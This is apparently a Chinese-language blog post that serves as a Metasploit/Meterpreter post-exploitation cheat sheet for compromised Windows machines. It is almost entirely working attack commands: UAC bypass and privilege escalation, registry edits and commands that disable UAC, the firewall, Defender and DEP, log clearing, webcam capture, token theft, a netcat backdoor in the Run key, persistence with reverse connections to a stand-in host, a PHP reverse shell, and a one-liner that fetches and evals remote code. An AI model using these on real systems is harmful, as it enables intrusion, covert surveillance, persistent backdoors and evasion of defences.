第一次写博客写的有点乱,欢迎各位大佬指点不足
Msf后渗透测试阶段做什么
- -提权
- -信息收集
- -渗透内网
- -永久后门
在meterpreter中首先要获取system账号权限
-load priv -getsystem
▪ priv_elevate_getsystem: Operation failed: Access is denied. //说明有UAC限制
绕过UAC限制
use exploit/windows/local/ask //就是需要请求ask同意我才能执行' VNC去访问那种
▪ set session
▪ set filename
此时session会多出来一个新的具有system权限的session //这种方法就不是一定成功的
use exploit/windows/local/bypassuac
使用它即可上传一个exe直接bypass UAC !
use exploit/windows/local/bypassuac_injection
是上传一个dll注入bypass的 如果他不是Administrator组的 那么就需要直接利用漏洞直接提权
use exploit/windows/local/ 利用本地系统漏洞然后提权 //
migrate 将你的shell进程迁移到另一个进程中 //getsystem不成功 可能需要将他转移到其他的系统进程即可
图形化payload
– set payload windows/vncinject/reverse_tcp – set viewonly no //就可以直接VNC操作
Psexec 模块之 Passthehash 可以直接hash登录
加载kiwi模块以前的mimikatz然后可以抓取当前的明文密码
use exploit/windows/smb/psexec 设置相应的smbuser和smbpass 但是需要提前关闭UAC
关闭UAC
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
我们可以看到是关闭了 但是需要重启
常用命令
– netsh advfirewall set allprofiles state off //on是开启 关闭防火墙需要管理员或者system权限 – net stop windefend //关闭Windefend – manage-bde -off C: //Bitlocker磁盘加密 – manage-bde -status C: – bcdedit.exe /set {current} nx AlwaysOff //关闭DEP – Run killav//杀死防毒软件 – run post/windows/manage/killa – run post/windows/manage/enable_rd//开启远程桌面服务 – run getgui –e ▪ run getgui -u -p //添加账号密码 ▪run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20160824.1855.rc //关闭远程桌面 文件是开启自动生成的 查看远程桌面 – screenshot //截图当前桌面‘ 清晰 – use espia //插件 screengrab//截取当前桌面’模糊一点 webcam//摄像头命令 webcam_list //查看摄像头 webcam_snap #通过摄像头拍照 webcam_stream #通过摄像头开启视频 clearav //清除windows中的应用程序日志、系统日志、安全日志
令牌操纵(incognito假冒令牌)
use incognito #help incognito 查看帮助 list_tokens -u #查看可用的token impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token 或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\ execute -f cmd.exe -i –t # -t 使用假冒的token 执行 或者直接shell rev2self #返回原始token steal_token窃取令牌 steal_token <pid值> #从指定进程中窃取token 先ps drop_token #删除窃取的token
注册表添加NC后门服务(meterpreter)
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe' reg queryval -k HKLM\software\microsoft\windows\currentversion\Run - v nc //查询是否加入到注册表了
Nc的一些用法
基本格式:nc [-options] hostname port[s] [ports] ... nc -l -p port [options] [hostname] [port] -d 后台模式 -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出--用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉--用于扫描时Nc用法
//这里以Windows7为例,如果你们Windows7是64位那么文件到system32 会重定向到sysWOW64,因为Windows 64位版本上的%windir%\System32文件夹中没有32位内容。
所以上面路径也要改了。 reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d 'C:\windows\sysWOW64\nc.exe -Ldp 444 -e cmd.exe'
这个和你生成的shellcode是有关系的。生成的shellcode是x64是不存在这种情况的 windows/x64/meterpreter/reverse_tcp
ps:这个就需要关闭防火墙,但是为了更加隐蔽我们可以开启策略
execute -f cmd -i -H //执行cmd -H是隐蔽运行 -i是交互 这里用shell和这个还是有区别的 各位可以自己测试
-H Create the process hidden from view. -a <opt> The arguments to pass to the command. -c Channelized I/O (required for interaction). -d <opt> The 'dummy' executable to launch when using -m. -f <opt> The executable command to run. -h Help menu. -i Interact with the process after creating it. -k Execute process on the meterpreters current desktop -m Execute from memory. -s <opt> Execute process in a given session as the session user -t Execute process with currently impersonated thread tokenOPTIONS:
netsh firewall show opmode//检查是否开启防火墙
netsh firewall add portopening TCP 444 "这个名字自己看着随便来" ENABLE ALL //添加策略
抓包(meterpreter)
– load sniffer – sniffer_interfaces – sniffer_start 2 – sniffer_dump 2 1.cap 在内存中缓存区循环抓包(50000包),不写硬盘 只能过滤meterpreter流量,传输全过程SSL/TLS加密
解码
一些协议 访问什么的 内容基本看不到 – use auxiliary/sniffer/psnuffle – set PCAPFILE 1.cap
set exitonsession 为false就是持续的 没连接一个就获得一个session
POST模块
– run post/windows/gather/arp_scanner RHOSTS=2.1.1.0/24 //arp嗅探 – run post/windows/gather/checkvm //检查是否是虚拟机 – run post/windows/gather/credentials/credential_collector //token – run post/windows/gather/enum_applications // 装的软件 – run post/windows/gather/enum_logged_on_users //账号正处于登录状态 – run post/windows/gather/enum_snmp// snmp – run post/multi/recon/local_exploit_suggester //存在提权漏洞 – run post/windows/manage/delete_user USERNAME=账号名字 //删除账号 – run post/multi/gather/env //环境配置
持久后门(meterpreter6的话是弃用这个脚本)
– run persistence -h – run persistence -X -i 10 -p 4444 -r 1.1.1.1 – run persistence -U -i 20 -p 4444 -r 1.1.1.1 – run persistence -S -i 20 -p 4444 -r 1.1.1.1
use exploit/windows/local/persistence
PHP shell 和 Web Delivery
-msfvenom -p php/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -f raw -o a.php MSF启动侦听 上传WEB站点通过游览器访问 =========分割========== –利用代码执行漏洞访问攻击者服务器 – use exploit/multi/script/web_delivery – set target 1 – php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://1.1.1.1/ fTYWqmu'));"
端口转发和代理
1.portfwd portfwd是meterpreter提供的端口转发功能,在meterpreter下使用portfwd -h命令查看该命令的参数。 常用参数: -l:本地监听端口 -r:内网目标的ip -p:内网目标的端口 上面命令执行之后,会将10.1.1.3的3389端口转发到本地的2222端口。 2.pivot pivot是msf最常用的代理,可以让我们使用msf提供的扫描模块对内网进行探测。 (1)首先需要在msf的操作界面下添加一个路由表。 添加命令:route add 内网ip 子网掩码 session的id 打印命令:route print 路由添加成功之后就可以在msf里访问10.1.1.0/24这个网段。 (2)建立socks代理。 如果其它程序需要访问这个内网环境,就可以建立socks代理。 msf提供了3个模块用来做socks代理。 auxiliary/server/socks4a use auxiliary/server/socks5 use auxiliary/server/socks_unc 以auxiliary/server/socks4a为例,查看需要设置的参数。 一共两个参数: SRVHOST:监听的ip地址,默认为0.0.0.0,一般不需要更改。 SRVPORT:监听的端口,默认为1080。 直接运行run命令,就可以成功创建一个socks4代理隧道,在linux上可以配置proxychains使用,在windows可以配置Proxifier进行使用